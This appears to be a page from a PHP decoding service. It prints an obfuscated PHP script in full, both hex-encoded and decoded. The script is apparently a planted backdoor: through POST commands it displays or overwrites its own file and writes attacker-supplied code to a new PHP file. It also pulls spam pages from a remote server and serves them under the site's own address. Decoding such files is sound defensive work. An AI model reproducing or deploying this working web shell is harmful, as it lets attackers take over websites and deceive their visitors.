Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto UE1Lc; EiLTa: function getHTTPPage($url) { $UA = "\x61\121\x30\117\60\x31\x30..

Decoded Output download

<?php 
 goto UE1Lc; EiLTa: function getHTTPPage($url) { $UA = "aQ0O010O"; if (isset($_SERVER["HTTP_USER_AGENT"])) { $UA = $_SERVER["HTTP_USER_AGENT"]; } $opts = array("http" => array("method" => "GET", "header" => "User-Agent: {$UA}")); $context = stream_context_create($opts); $html = @file_get_contents($url, false, $context); return $html; } goto agU4M; CbTZU: $Remote_server = "http://mejsc2.com/"; goto UlSL_; zCzKd: for ($i = 1; $i <= $loop_request_times; $i++) { $Content_mb = getHTTPPage($Remote_server . "index.php?from=" . $referer . "&lan=in&jcstartType=0&host=" . $host_name); $html = trim($Content_mb); if ($i == $loop_request_times && empty($html)) { die("<p align='center'><font color='red'><b>Connection Error!</b></font></p>"); } else { if (!empty($html)) { break; } } } goto EiLTa; agU4M: if (strpos($host_name, "sitemap.xml")) { header("Content-Type:application/xml"); } else { header("Content-Type: text/html;charset=utf-8"); } goto EQKow; WypNr: set_time_limit(0); goto bmI_U; z2Uf4: $referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto zCzKd; bXvfY: $Content_mb = ''; goto BbAna; UlSL_: $host_name = $_SERVER["REQUEST_SCHEME"] . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto bXvfY; EQKow: echo $Content_mb; goto Q4k3w; BbAna: $loop_request_times = 3; goto z2Uf4; bmI_U: if ($_SERVER["REQUEST_METHOD"] == "POST") { $act = isset($_POST["act"]) ? $_POST["act"] : ''; $file = $_SERVER["SCRIPT_FILENAME"]; $content = isset($_POST["content"]) ? $_POST["content"] : ''; if ($act == "show") { die(file_get_contents($file)); } else { if ($act == "edit" && strlen($content)) { file_put_contents($file, $content); echo "edit ok"; die; } else { if ($act == "edit2" && strlen($content)) { file_put_contents(__DIR__ . "/asdadfa.php", $content); echo "edit2 ok"; die; } } } } goto CbTZU; UE1Lc: error_reporting(0); goto WypNr; Q4k3w: ?>

Did this file decode correctly?

Original Code

<?php
 goto UE1Lc; EiLTa: function getHTTPPage($url) { $UA = "\x61\121\x30\117\60\x31\x30\x4f"; if (isset($_SERVER["\x48\x54\x54\120\x5f\x55\123\x45\122\x5f\101\x47\x45\116\124"])) { $UA = $_SERVER["\110\124\x54\x50\x5f\x55\x53\105\122\137\x41\x47\x45\116\124"]; } $opts = array("\x68\164\x74\x70" => array("\x6d\145\x74\x68\157\x64" => "\x47\x45\x54", "\150\145\141\144\145\x72" => "\x55\x73\x65\162\x2d\101\x67\145\156\x74\x3a\40{$UA}")); $context = stream_context_create($opts); $html = @file_get_contents($url, false, $context); return $html; } goto agU4M; CbTZU: $Remote_server = "\x68\x74\164\x70\72\x2f\57\155\145\152\163\x63\62\x2e\x63\157\x6d\57"; goto UlSL_; zCzKd: for ($i = 1; $i <= $loop_request_times; $i++) { $Content_mb = getHTTPPage($Remote_server . "\x69\x6e\x64\x65\x78\x2e\160\150\x70\77\x66\x72\x6f\155\75" . $referer . "\46\154\141\x6e\75\x69\156\46\x6a\143\x73\x74\x61\x72\164\124\171\x70\145\75\60\x26\150\x6f\x73\x74\75" . $host_name); $html = trim($Content_mb); if ($i == $loop_request_times && empty($html)) { die("\74\x70\x20\141\x6c\151\x67\x6e\x3d\x27\x63\145\x6e\164\x65\162\x27\76\74\x66\157\156\x74\40\143\x6f\x6c\157\162\x3d\47\162\x65\x64\x27\76\74\142\76\103\157\156\x6e\145\x63\x74\x69\157\156\40\105\x72\x72\157\x72\x21\x3c\57\142\76\74\x2f\146\157\x6e\164\x3e\x3c\57\x70\x3e"); } else { if (!empty($html)) { break; } } } goto EiLTa; agU4M: if (strpos($host_name, "\163\151\164\145\155\x61\x70\x2e\x78\155\x6c")) { header("\x43\x6f\x6e\x74\145\156\x74\55\124\x79\x70\145\x3a\141\160\x70\154\x69\143\141\164\151\157\x6e\57\x78\155\x6c"); } else { header("\103\x6f\x6e\164\145\x6e\164\55\x54\171\160\x65\72\40\x74\x65\170\164\57\150\164\x6d\154\73\143\x68\141\162\163\x65\164\75\x75\x74\146\55\70"); } goto EQKow; WypNr: set_time_limit(0); goto bmI_U; z2Uf4: $referer = isset($_SERVER["\x48\124\124\x50\x5f\x52\105\x46\x45\122\x45\122"]) ? $_SERVER["\110\124\124\x50\137\122\x45\106\x45\x52\x45\122"] : ''; goto zCzKd; bXvfY: $Content_mb = ''; goto BbAna; UlSL_: $host_name = $_SERVER["\122\105\x51\125\105\x53\124\x5f\x53\103\110\x45\115\x45"] . "\72\57\57" . $_SERVER["\x48\x54\124\x50\x5f\110\117\x53\124"] . $_SERVER["\122\x45\121\x55\105\x53\x54\x5f\125\x52\x49"]; goto bXvfY; EQKow: echo $Content_mb; goto Q4k3w; BbAna: $loop_request_times = 3; goto z2Uf4; bmI_U: if ($_SERVER["\122\x45\x51\125\105\x53\124\x5f\115\x45\124\x48\117\104"] == "\x50\117\123\x54") { $act = isset($_POST["\141\143\x74"]) ? $_POST["\x61\143\x74"] : ''; $file = $_SERVER["\123\103\x52\111\x50\124\x5f\x46\111\x4c\105\116\101\x4d\x45"]; $content = isset($_POST["\x63\x6f\156\164\x65\156\164"]) ? $_POST["\143\x6f\x6e\164\145\156\x74"] : ''; if ($act == "\x73\150\157\x77") { die(file_get_contents($file)); } else { if ($act == "\x65\144\151\164" && strlen($content)) { file_put_contents($file, $content); echo "\145\144\x69\x74\40\x6f\x6b"; die; } else { if ($act == "\x65\144\151\x74\62" && strlen($content)) { file_put_contents(__DIR__ . "\57\141\x73\144\141\x64\x66\141\x2e\160\x68\x70", $content); echo "\x65\144\151\164\62\x20\157\153"; die; } } } } goto CbTZU; UE1Lc: error_reporting(0); goto WypNr; Q4k3w: ?>

Function Calls

None

Variables

None

Stats

MD5 24fe8840cff688b181b9181fd576062c
Eval Count 0
Decode Time 38 ms